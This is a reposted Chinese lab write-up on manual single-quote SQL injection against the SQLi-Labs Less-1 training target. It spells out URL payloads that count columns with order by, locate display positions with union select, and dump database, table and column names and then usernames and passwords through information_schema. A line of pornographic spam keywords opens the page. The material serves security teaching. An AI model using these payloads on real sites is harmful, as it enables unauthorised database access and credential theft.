国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

基于SQLI的SQL字符型報(bào)錯(cuò)注入

這篇具有很好參考價(jià)值的文章主要介紹了基于SQLI的SQL字符型報(bào)錯(cuò)注入。希望對大家有所幫助。如果存在錯(cuò)誤或未考慮完全的地方,請大家不吝賜教,您也可以點(diǎn)擊"舉報(bào)違法"按鈕提交疑問。

基于SQLI的SQL字符型報(bào)錯(cuò)注入

一. 實(shí)驗(yàn)?zāi)康?/h3>

理解數(shù)字型報(bào)錯(cuò)SQL注入漏洞點(diǎn)的定位方法,掌握利用手工方式完成一次完整SQL注入的過程,熟悉常見SQL注入命令的操作。

二. 實(shí)驗(yàn)環(huán)境

滲透主機(jī):KALI平臺(tái)
用戶名: college
密碼: 360College

目標(biāo)網(wǎng)站:SQLI平臺(tái)的Less-1科目
用戶名: xxx
密碼: xxx

注意:將MySQL的版本調(diào)到5.5以上,因?yàn)檫@樣數(shù)據(jù)庫內(nèi)才會(huì)有information_schema數(shù)據(jù)庫。(實(shí)驗(yàn)鏡像中已經(jīng)調(diào)整)

三. 實(shí)驗(yàn)原理

MySQL語言的注釋語法:

--(這里有一個(gè)空格,--空格)在SQL內(nèi)表示注釋,但在URL中,如果在最后加上--,瀏覽器在發(fā)送請求的時(shí)候會(huì)把URL末尾的空格舍去,所以我們用--+代替--,原因是+在URL被URL編碼后會(huì)變成空格。

四. 實(shí)驗(yàn)內(nèi)容

1. 靶機(jī)/var/www/html中找到源碼分析Less-1網(wǎng)頁源碼

基于SQLI的SQL字符型報(bào)錯(cuò)注入,sql,數(shù)據(jù)庫
基于SQLI的SQL字符型報(bào)錯(cuò)注入,sql,數(shù)據(jù)庫
得出結(jié)論:如果你輸入不同的id值就會(huì)返回不同的結(jié)果,實(shí)際查詢的語句是:

SELECT * FROM users WHERE id="1 LIMIT 0,1;

2. kali訪問網(wǎng)址http://靶機(jī)IP/Less-1/進(jìn)行注入

(1)在瀏覽器地址欄中輸入http://【靶機(jī)IP】/Less-1/,訪問SQLI-Labs的less-1。

基于SQLI的SQL字符型報(bào)錯(cuò)注入,sql,數(shù)據(jù)庫
基于SQLI的SQL字符型報(bào)錯(cuò)注入,sql,數(shù)據(jù)庫

(2)在上面的URL末端加上?id=1的動(dòng)態(tài)參數(shù),頁面顯示登錄用戶名Dumb、密碼Dumb:
基于SQLI的SQL字符型報(bào)錯(cuò)注入,sql,數(shù)據(jù)庫

嘗試判斷是否存在SQL注入以及哪種注入類型

(1)經(jīng)過語句and 1=2測試 ,頁面回顯正常,所以該地方不是數(shù)值查詢。

基于SQLI的SQL字符型報(bào)錯(cuò)注入,sql,數(shù)據(jù)庫

(2)嘗試在id后面加上(單引號),發(fā)現(xiàn)頁面回顯不正常,表示可能存在SQL字符注入。
基于SQLI的SQL字符型報(bào)錯(cuò)注入,sql,數(shù)據(jù)庫

(3)輸入- -+將sql后面的語句注釋掉后,頁面回顯正常,則證明是單引號字符型注入。
基于SQLI的SQL字符型報(bào)錯(cuò)注入,sql,數(shù)據(jù)庫

手工SQL注入獲得數(shù)據(jù)庫的用戶名與密碼

說明:本實(shí)驗(yàn)Kali平臺(tái)的Firefox瀏覽器中已預(yù)安裝Hackbar插件,可使用快捷鍵F12啟用。后續(xù)的實(shí)驗(yàn)步驟中,可以選擇在Hackbar中來執(zhí)行,或者直接在瀏覽器的地址欄中執(zhí)行。

(1)使用order by語句判斷該表中一共有幾列數(shù)據(jù)。order by 3頁面回顯正常,order by 4頁面回顯不正常,說明此表一共有3列。

所用的payload格式為:http://【靶機(jī)IP】/Less-1/?id=1' order by N --+

基于SQLI的SQL字符型報(bào)錯(cuò)注入,sql,數(shù)據(jù)庫

基于SQLI的SQL字符型報(bào)錯(cuò)注入,sql,數(shù)據(jù)庫

(2)使用union select 1,2,3聯(lián)合查詢語句查看頁面是否有顯示位。發(fā)現(xiàn)頁面先輸出了2和3,說明頁面有2個(gè)顯示位。

所用的payload格式為:http://【靶機(jī)IP】/Less-1/?id=1' and 1=2 union select 1,2,3 --+
基于SQLI的SQL字符型報(bào)錯(cuò)注入,sql,數(shù)據(jù)庫

(3)利用sql查詢語句爆破出數(shù)據(jù)庫內(nèi)的數(shù)據(jù)庫名。

所用的payload格式為:http://【靶機(jī)IP】/Less-1/?id=1' and 1=2 union select 1,group_concat(schema_name),3 from information_schema.schemata --+

基于SQLI的SQL字符型報(bào)錯(cuò)注入,sql,數(shù)據(jù)庫

(4)利用sql查詢語句爆破出security數(shù)據(jù)庫內(nèi)的表名。

所用的payload格式為:http://【靶機(jī)IP】/Less-1/?id=1' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

基于SQLI的SQL字符型報(bào)錯(cuò)注入,sql,數(shù)據(jù)庫

(5)利用sql查詢語句爆破出users數(shù)據(jù)表內(nèi)的列名。

所用的payload格式為:http://【靶機(jī)IP】/Less-1/?id=1’ and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

基于SQLI的SQL字符型報(bào)錯(cuò)注入,sql,數(shù)據(jù)庫

(6)利用sql查詢語句爆破出username、password列的值。

所用的payload格式為:http://【靶機(jī)IP】/Less-1/?id=1' and 1=2 union select 1,group_concat(username), group_concat(password) from security.users --+

基于SQLI的SQL字符型報(bào)錯(cuò)注入,sql,數(shù)據(jù)庫

五. 思考與總結(jié)

通過本次實(shí)驗(yàn),成功實(shí)現(xiàn)了利用SQL注入漏洞的管理員帳戶密碼的獲取,掌握了SQL注入漏洞的手工攻擊方法,在此基礎(chǔ)上可以深刻體會(huì)SQL注入漏洞的危害以及采取相關(guān)網(wǎng)絡(luò)安全防護(hù)防御措施。文章來源地址http://www.zghlxwxcb.cn/news/detail-531196.html

到了這里,關(guān)于基于SQLI的SQL字符型報(bào)錯(cuò)注入的文章就介紹完了。如果您還想了解更多內(nèi)容,請?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點(diǎn)僅代表作者本人,不代表本站立場。本站僅提供信息存儲(chǔ)空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實(shí)不符,請點(diǎn)擊違法舉報(bào)進(jìn)行投訴反饋,一經(jīng)查實(shí),立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費(fèi)用

相關(guān)文章

  • Java字符串與字符型數(shù)組的轉(zhuǎn)換

    通過本章可以了解到字符串與字符型數(shù)組之間相互轉(zhuǎn)換的幾種方法。 文章目錄 一、字符串 —— 字符型數(shù)組? .toCharArray方法 .getChar方法 二、字符型數(shù)組 —— 字符串 .String方法 .copyValueOf方法 ? ? ? ? toCHarArray是將字符串中的一切字符均轉(zhuǎn)換為字符數(shù)組。 ? ? ? ? 用法為:字

    2024年02月15日
    瀏覽(24)
  • C語言整型轉(zhuǎn)字符型和字符型轉(zhuǎn)整型的簡便且有效的方法(對于自然數(shù))

    C語言整型轉(zhuǎn)字符型和字符型轉(zhuǎn)整型的簡便且有效的方法(對于自然數(shù))

    最近做到題目涉及數(shù)據(jù)類型的轉(zhuǎn)換,查了很多資料,發(fā)現(xiàn)博客上的文章在此方面不全面,特別是在整型轉(zhuǎn)成字符型上提供的方法不太好(指比較復(fù)雜),因此想做個(gè)總結(jié)。此方法主要涉及atoi,itoa和sprintf函數(shù)。 主要提供2種方法。 方法1:利用+‘0’將單個(gè)數(shù)字轉(zhuǎn)字符 代碼演示

    2024年02月15日
    瀏覽(22)
  • C++入門學(xué)習(xí)(十一)字符型

    C++入門學(xué)習(xí)(十一)字符型

    C++中的字符型可以表示ASCII碼中的所有字符,包括字母、數(shù)字、標(biāo)點(diǎn)符號等。 ASCII碼是一種用于編碼字符的編碼系統(tǒng),它使用不同的數(shù)值來表示不同的字符。ASCII碼使用7位或8位二進(jìn)制數(shù)來表示每個(gè)字符,因此可以表示128或256個(gè)不同的字符。 在ASCII碼中, 數(shù)字0-9的碼值為30-39

    2024年01月22日
    瀏覽(25)
  • Java語言:字符型的詳解、字符串的比較

    目錄 前言 一.字符型的知識(shí) 二.字符型比較大小 三.字符串比較 equals()方法 equalslgnoreCase()方法 compareTo() 方法 ??博主介紹:博客名為tq02,已學(xué)C語言、JavaSE,目前學(xué)了MySQL和JavaWeb ??學(xué)習(xí)專欄:??C語言? ? ? ? ?JavaSE? ? ? ?MySQL基礎(chǔ) ??博主鏈接:tq02的博客_CSDN博客-C語言,Ja

    2024年02月13日
    瀏覽(40)
  • C語言常量(整型、實(shí)型、字符型、字符串、符號常量)

    C語言常量(整型、實(shí)型、字符型、字符串、符號常量)

    對于C語言常量,該文章有詳講,由于文章太長,可參考如下思維導(dǎo)圖和目錄,可通過目錄選擇自己所需要的內(nèi)容閱讀。 整型常量即整數(shù),包括正整數(shù)、負(fù)整數(shù)和零。C語言中,整型常量可以用十進(jìn)制、八進(jìn)制、和十六進(jìn)制表示。 十進(jìn)制表示: 由數(shù)字0-9,正、負(fù)號組成,如3

    2024年02月07日
    瀏覽(24)
  • 字符型液晶顯示器LCD 1602的顯示控制(Keil+Proteus)

    字符型液晶顯示器LCD 1602的顯示控制(Keil+Proteus)

    趁機(jī)把LCD 1602的實(shí)驗(yàn)完成了,那個(gè)電路圖有幾個(gè)地方?jīng)]弄懂,但是去掉也沒有報(bào)錯(cuò),就沒管了。 LCD1602_百度百科 (baidu.com) https://baike.baidu.com/item/LCD1602/6014393?fr=ge_ala LCD1602液晶顯示屏通過電壓來改變填充在兩塊平行板之間的液晶材料內(nèi)部分子的排列狀況,以達(dá)到遮光和透光的目

    2024年02月06日
    瀏覽(25)
  • 問題:以下選項(xiàng)中,( )是不正確的C語言字符型常量. #學(xué)習(xí)方法#媒體

    問題:以下選項(xiàng)中,( )是不正確的C語言字符型常量. #學(xué)習(xí)方法#媒體

    問題:以下選項(xiàng)中,( )是不正確的C語言字符型常量. A、\\\"a\\\" B、\\\'101\\\' C、\\\'x4l\\\' D、\\\'a\\\' 參考答案如圖所示

    2024年02月20日
    瀏覽(20)
  • 用selenium和xpath定位元素并獲取屬性值以及str字符型轉(zhuǎn)json型

    用selenium和xpath定位元素并獲取屬性值以及str字符型轉(zhuǎn)json型

    頁面html如圖所示: 要使用xpath定位這個(gè)div元素,并且獲取其屬性data-config的內(nèi)容值。 ?結(jié)果如圖: ?藍(lán)色的為str類型,紅色的為json類型。 那么先得到的是str類型,如何轉(zhuǎn)換為json類型呢?使用如下代碼即可。 import json json_attr=json.loads(str_attr) 讀取json數(shù)據(jù)用json_attr[\\\'video\\\'][\\\'url\\\'

    2024年02月08日
    瀏覽(26)
  • C語言的數(shù)據(jù)類型(整型、字符型,浮點(diǎn)型等詳細(xì)介紹、ASCLL表以及常量、變量的詳細(xì)介紹)

    C語言的數(shù)據(jù)類型(整型、字符型,浮點(diǎn)型等詳細(xì)介紹、ASCLL表以及常量、變量的詳細(xì)介紹)

    C語言的數(shù)據(jù)類型基本介紹 ????????在C語言中,數(shù)據(jù)類型可以分為:基本數(shù)據(jù)類型(整型、浮點(diǎn)型/實(shí)型、字符型)、構(gòu)造數(shù)據(jù)類型(數(shù)組、指針、結(jié)構(gòu)體、共用體、枚舉)以及空類型(萬能類型void)。常用的有:整形(int)、字符型(char)、短整型(short)、長整型(

    2024年02月07日
    瀏覽(27)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包